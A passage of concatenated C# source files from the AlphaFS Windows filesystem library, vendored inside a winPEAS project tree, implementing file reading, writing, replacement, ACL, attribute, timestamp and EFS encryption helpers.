Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; using System.Text; using StreamReader = System.IO.StreamReader; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Open a file, read all lines of the file with the specified encoding, and then close the file. /// The transaction. /// The file to open for reading. /// The applied to the contents of the file. /// Indicates the format of the path parameter(s). /// All lines of the file. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] internal static string ReadAllTextCore(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat) { using (var sr = new StreamReader(OpenCore(transaction, path, FileMode.Open, FileAccess.Read, FileShare.Read, ExtendedFileAttributes.SequentialScan, null, null, pathFormat), encoding)) return sr.ReadToEnd(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.ReadLinesCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; using System.Text; using StreamReader = System.IO.StreamReader; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Reads the lines of a file that has a specified encoding. /// The transaction. /// The file to read. /// The encoding that is applied to the contents of the file. /// Indicates the format of the path parameter(s). /// All the lines of the file, or the lines that are the result of a query. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] internal static IEnumerable ReadLinesCore(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat) { using (var sr = new StreamReader(OpenCore(transaction, path, FileMode.Open, FileAccess.Read, FileShare.Read, ExtendedFileAttributes.SequentialScan, null, null, pathFormat), encoding)) { string line; while (null != (line = sr.ReadLine())) yield return line; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.ReplaceCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.InteropServices; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Replaces the contents of a specified file with the contents of another file, deleting the original file, and creating a backup of the replaced file and optionally ignores merge errors. /// The Replace method replaces the contents of a specified file with the contents of another file. It also creates a backup of the file that was replaced. /// /// If the and are on different volumes, this method will /// raise an exception. If the is on a different volume from the source file, the backup /// file will be deleted. /// /// /// Pass null to the parameter if you do not want to create a backup of the file being /// replaced. /// /// The name of a file that replaces the file specified by . /// The name of the file being replaced. /// The name of the backup file. /// /// true to ignore merge errors (such as attributes and access control lists (ACLs)) from the replaced file to the /// replacement file; otherwise, false. /// /// Indicates the format of the path parameter(s). [SecurityCritical] internal static void ReplaceCore(string sourceFileName, string destinationFileName, string destinationBackupFileName, bool ignoreMetadataErrors, PathFormat pathFormat) { const GetFullPathOptions options = GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck; var sourceFileNameLp = sourceFileName; var destinationFileNameLp = destinationFileName; if (pathFormat != PathFormat.LongFullPath) { sourceFileNameLp = Path.GetExtendedLengthPathCore(null, sourceFileName, pathFormat, options); destinationFileNameLp = Path.GetExtendedLengthPathCore(null, destinationFileName, pathFormat, options); } // Pass null to the destinationBackupFileName parameter if you do not want to create a backup of the file being replaced. var destinationBackupFileNameLp = null == destinationBackupFileName ? null : Path.GetExtendedLengthPathCore(null, destinationBackupFileName, pathFormat, options); const int replacefileWriteThrough = 1; const int replacefileIgnoreMergeErrors = 2; var dwReplaceFlags = (FileSystemRights) replacefileWriteThrough; if (ignoreMetadataErrors) dwReplaceFlags |= (FileSystemRights) replacefileIgnoreMergeErrors; // ReplaceFile() // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists. // 2017-05-30: MSDN confirms LongPath usage: Starting with Windows 10, version 1607 var success = NativeMethods.ReplaceFile(destinationFileNameLp, sourceFileNameLp, destinationBackupFileNameLp, dwReplaceFlags, IntPtr.Zero, IntPtr.Zero); var lastError = (uint) Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError, sourceFileNameLp, destinationFileNameLp); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.SetAccessControlCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; using System.Security.AccessControl; using Alphaleonis.Win32.Security; using Microsoft.Win32.SafeHandles; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Applies access control list (ACL) entries described by a / object to the specified file or directory. /// Use either or , not both. /// /// /// /// A file or directory to add or remove access control list (ACL) entries from. This parameter This parameter may be null. /// A to add or remove access control list (ACL) entries from. This parameter This parameter may be null. /// A / object that describes an ACL entry to apply to the file or directory described by the / parameter. /// One or more of the values that specifies the type of access control list (ACL) information to set. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity")] [SecurityCritical] internal static void SetAccessControlCore(string path, SafeFileHandle handle, ObjectSecurity objectSecurity, AccessControlSections includeSections, PathFormat pathFormat) { if (pathFormat == PathFormat.RelativePath) Path.CheckSupportedPathFormat(path, true, true); if (objectSecurity == null) throw new ArgumentNullException("objectSecurity"); var managedDescriptor = objectSecurity.GetSecurityDescriptorBinaryForm(); using (var safeBuffer = new SafeGlobalMemoryBufferHandle(managedDescriptor.Length)) { var pathLp = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.CheckInvalidPathChars); safeBuffer.CopyFrom(managedDescriptor, 0, managedDescriptor.Length); SECURITY_DESCRIPTOR_CONTROL control; uint revision; var success = Security.NativeMethods.GetSecurityDescriptorControl(safeBuffer, out control, out revision); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError, pathLp); PrivilegeEnabler privilegeEnabler = null; try { var securityInfo = SECURITY_INFORMATION.None; var pDacl = IntPtr.Zero; if ((includeSections & AccessControlSections.Access) != 0) { bool daclDefaulted, daclPresent; success = Security.NativeMethods.GetSecurityDescriptorDacl(safeBuffer, out daclPresent, out pDacl, out daclDefaulted); lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError, pathLp); if (daclPresent) { securityInfo |= SECURITY_INFORMATION.DACL_SECURITY_INFORMATION; securityInfo |= (control & SECURITY_DESCRIPTOR_CONTROL.SE_DACL_PROTECTED) != 0 ? SECURITY_INFORMATION.PROTECTED_DACL_SECURITY_INFORMATION : SECURITY_INFORMATION.UNPROTECTED_DACL_SECURITY_INFORMATION; } } var pSacl = IntPtr.Zero; if ((includeSections & AccessControlSections.Audit) != 0) { bool saclDefaulted, saclPresent; success = Security.NativeMethods.GetSecurityDescriptorSacl(safeBuffer, out saclPresent, out pSacl, out saclDefaulted); lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError, pathLp); if (saclPresent) { securityInfo |= SECURITY_INFORMATION.SACL_SECURITY_INFORMATION; securityInfo |= (control & SECURITY_DESCRIPTOR_CONTROL.SE_SACL_PROTECTED) != 0 ? SECURITY_INFORMATION.PROTECTED_SACL_SECURITY_INFORMATION : SECURITY_INFORMATION.UNPROTECTED_SACL_SECURITY_INFORMATION; privilegeEnabler = new PrivilegeEnabler(Privilege.Security); } } var pOwner = IntPtr.Zero; if ((includeSections & AccessControlSections.Owner) != 0) { bool ownerDefaulted; success = Security.NativeMethods.GetSecurityDescriptorOwner(safeBuffer, out pOwner, out ownerDefaulted); lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError, pathLp); if (pOwner != IntPtr.Zero) securityInfo |= SECURITY_INFORMATION.OWNER_SECURITY_INFORMATION; } var pGroup = IntPtr.Zero; if ((includeSections & AccessControlSections.Group) != 0) { bool groupDefaulted; success = Security.NativeMethods.GetSecurityDescriptorGroup(safeBuffer, out pGroup, out groupDefaulted); lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError, pathLp); if (pGroup != IntPtr.Zero) securityInfo |= SECURITY_INFORMATION.GROUP_SECURITY_INFORMATION; } if (!Utils.IsNullOrWhiteSpace(pathLp)) { // SetNamedSecurityInfo() // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists. lastError = (int) Security.NativeMethods.SetNamedSecurityInfo(pathLp, SE_OBJECT_TYPE.SE_FILE_OBJECT, securityInfo, pOwner, pGroup, pDacl, pSacl); if (lastError != Win32Errors.ERROR_SUCCESS) NativeError.ThrowException(lastError, pathLp); } else { if (NativeMethods.IsValidHandle(handle)) { lastError = (int) Security.NativeMethods.SetSecurityInfo(handle, SE_OBJECT_TYPE.SE_FILE_OBJECT, securityInfo, pOwner, pGroup, pDacl, pSacl); if (lastError != Win32Errors.ERROR_SUCCESS) NativeError.ThrowException(lastError); } } } finally { if (null != privilegeEnabler) privilegeEnabler.Dispose(); } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.SetAttributesCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Runtime.InteropServices; using System.Security; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Sets the attributes for a Non-/Transacted file or directory. /// /// Certain file attributes, such as and , can be combined. /// Other attributes, such as , must be used alone. /// /// /// It is not possible to change the status of a File object using the SetAttributes method. /// /// path is empty, contains only white spaces, contains invalid characters, or the file attribute is invalid. /// The specified path is invalid, (for example, it is on an unmapped drive). /// The file cannot be found. /// path is in an invalid format. /// path specified a file that is read-only. -or- This operation is not supported on the current platform. -or- path specified a directory. -or- The caller does not have the required permission. /// The transaction. /// Specifies that is a file or directory. /// The name of the file or directory whose attributes are to be set. /// /// The attributes to set for the file or directory. Note that all other values override . /// /// Indicates the format of the path parameter(s). [SecurityCritical] internal static void SetAttributesCore(KernelTransaction transaction, bool isFolder, string path, FileAttributes fileAttributes, PathFormat pathFormat) { if (pathFormat != PathFormat.LongFullPath) path = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); var success = null == transaction || !NativeMethods.IsAtLeastWindowsVista // SetFileAttributes() // 2013-01-13: MSDN confirms LongPath usage. ? NativeMethods.SetFileAttributes(path, fileAttributes) : NativeMethods.SetFileAttributesTransacted(path, fileAttributes, transaction.SafeHandle); var lastError = Marshal.GetLastWin32Error(); if (!success) { // MSDN: .NET 3.5+: ArgumentException: FileSystemInfo().Attributes if (lastError == Win32Errors.ERROR_INVALID_PARAMETER) throw new ArgumentException(Resources.Invalid_File_Attribute, "fileAttributes"); NativeError.ThrowException(lastError, isFolder, path); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.SetFsoDateTimeCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Sets the date and time, in coordinated universal time (UTC), that the file or directory was created and/or last accessed and/or written to. /// /// /// /// The transaction. /// Specifies that is a file or directory. /// The file or directory for which to set the date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static void SetFsoDateTimeCore(KernelTransaction transaction, bool isFolder, string path, DateTime? creationTimeUtc, DateTime? lastAccessTimeUtc, DateTime? lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { if (pathFormat == PathFormat.RelativePath) Path.CheckSupportedPathFormat(path, false, false); var eaAttributes = ExtendedFileAttributes.BackupSemantics; if (modifyReparsePoint) eaAttributes |= ExtendedFileAttributes.OpenReparsePoint; //// Prevent a System.UnauthorizedAccessException from being thrown by resetting attributes to Normal. //var fileAttributes = FileAttributes.Normal; //var isReadOnly = IsReadOnly((FileAttributes) eaAttributes); //var isHidden = IsHidden((FileAttributes) eaAttributes); //if (isReadOnly || isHidden) // SetAttributesCore(transaction, isFolder, path, fileAttributes, PathFormat.LongFullPath); using (var creationTime = SafeGlobalMemoryBufferHandle.FromLong(creationTimeUtc.HasValue ? creationTimeUtc.Value.ToFileTimeUtc() : (long?) null)) using (var lastAccessTime = SafeGlobalMemoryBufferHandle.FromLong(lastAccessTimeUtc.HasValue ? lastAccessTimeUtc.Value.ToFileTimeUtc() : (long?) null)) using (var lastWriteTime = SafeGlobalMemoryBufferHandle.FromLong(lastWriteTimeUtc.HasValue ? lastWriteTimeUtc.Value.ToFileTimeUtc() : (long?) null)) using (var safeFileHandle = CreateFileCore(transaction, isFolder, path, eaAttributes, null, FileMode.Open, FileSystemRights.WriteAttributes, FileShare.Delete | FileShare.Write, false, false, pathFormat)) { var success = NativeMethods.SetFileTime(safeFileHandle, creationTime, lastAccessTime, lastWriteTime); var lastError = Marshal.GetLastWin32Error(); // Reset file system object attributes. if (success) { //if (isReadOnly || isHidden) //{ // if (isReadOnly) // fileAttributes |= FileAttributes.ReadOnly; // if (isHidden) // fileAttributes |= FileAttributes.Hidden; // fileAttributes &= ~FileAttributes.Normal; // SetAttributesCore(transaction, isFolder, path, fileAttributes, PathFormat.LongFullPath); //} } else NativeError.ThrowException(lastError, isFolder, path); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.WriteAllBytesCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Creates a new file as part of a transaction, writes the specified byte array to the file, and then closes the file. If the target file already exists, it is overwritten. /// /// The transaction. /// The file to write to. /// The bytes to write to the file. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1720:IdentifiersShouldNotContainTypeNames", MessageId = "bytes")] [SecurityCritical] internal static void WriteAllBytesCore(KernelTransaction transaction, string path, byte[] bytes, PathFormat pathFormat) { if (null == bytes) throw new ArgumentNullException("bytes"); using (var fs = OpenCore(transaction, path, FileMode.Create, FileAccess.Write, FileShare.Read, ExtendedFileAttributes.Normal, null, null, pathFormat)) fs.Write(bytes, 0, bytes.Length); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.WriteAppendAllLinesCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; using System.Security.AccessControl; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Creates/appends a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to write to. /// The lines to write to the file. /// The character to use. /// true for file Append, false for file Write. /// true to add a line terminator, false to ommit the line terminator. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Usage", "CA2202:Do not dispose objects multiple times", Justification = "Disposing is controlled.")] [SecurityCritical] internal static void WriteAppendAllLinesCore(KernelTransaction transaction, string path, IEnumerable contents, Encoding encoding, bool isAppend, bool addNewLine, PathFormat pathFormat) { if (null == contents) throw new ArgumentNullException("contents"); if (null == encoding) throw new ArgumentNullException("encoding"); using (var stream = OpenCore(transaction, path, isAppend ? FileMode.OpenOrCreate : FileMode.Create, FileSystemRights.AppendData, FileShare.ReadWrite, ExtendedFileAttributes.Normal, null, null, pathFormat)) { if (isAppend) stream.Seek(0, SeekOrigin.End); using (var writer = new StreamWriter(stream, encoding)) { if (addNewLine) foreach (var line in contents) writer.WriteLine(line); else foreach (var line in contents) writer.Write(line); } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Encryption/File.Decrypt.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Decrypts a file that was encrypted by the current account using the Encrypt method. /// /// /// /// /// /// A path that describes a file to decrypt. [SecurityCritical] public static void Decrypt(string path) { EncryptDecryptFileCore(false, path, false, PathFormat.RelativePath); } /// [AlphaFS] Decrypts a file that was encrypted by the current account using the Encrypt method. /// /// /// /// /// /// A path that describes a file to decrypt. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Decrypt(string path, PathFormat pathFormat) { EncryptDecryptFileCore(false, path, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Encryption/File.Encrypt.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Encrypts a file so that only the account used to encrypt the file can decrypt it. /// /// /// /// /// /// A path that describes a file to encrypt. [SecurityCritical] public static void Encrypt(string path) { EncryptDecryptFileCore(false, path, true, PathFormat.RelativePath); } /// [AlphaFS] Encrypts a file so that only the account used to encrypt the file can decrypt it. /// /// /// /// /// /// A path that describes a file to encrypt. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Encrypt(string path, PathFormat pathFormat) { EncryptDecryptFileCore(false, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Encryption/File.ExportEncryptedFileRaw.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Backs up (export) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is /// intended to implement backup and restore functionality, while maintaining files in their encrypted state. /// /// /// The file being backed up is not decrypted; it is backed up in its encrypted state. /// /// /// If the caller does not have access to the key for the file, the caller needs /// to export encrypted files. See /// . /// /// /// To backup an encrypted file call one of the /// overloads and specify the file to backup /// along with the destination stream of the backup data. /// /// /// This function is intended for the backup of only encrypted files; see for backup /// of unencrypted files. /// /// /// The name of the file to be backed up. /// The destination stream to which the backup data will be written. /// public static void ExportEncryptedFileRaw(string fileName, Stream outputStream) { ImportExportEncryptedFileDirectoryRawCore(true, false, outputStream, fileName, false, PathFormat.RelativePath); } /// [AlphaFS] Backs up (export) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is /// intended to implement backup and restore 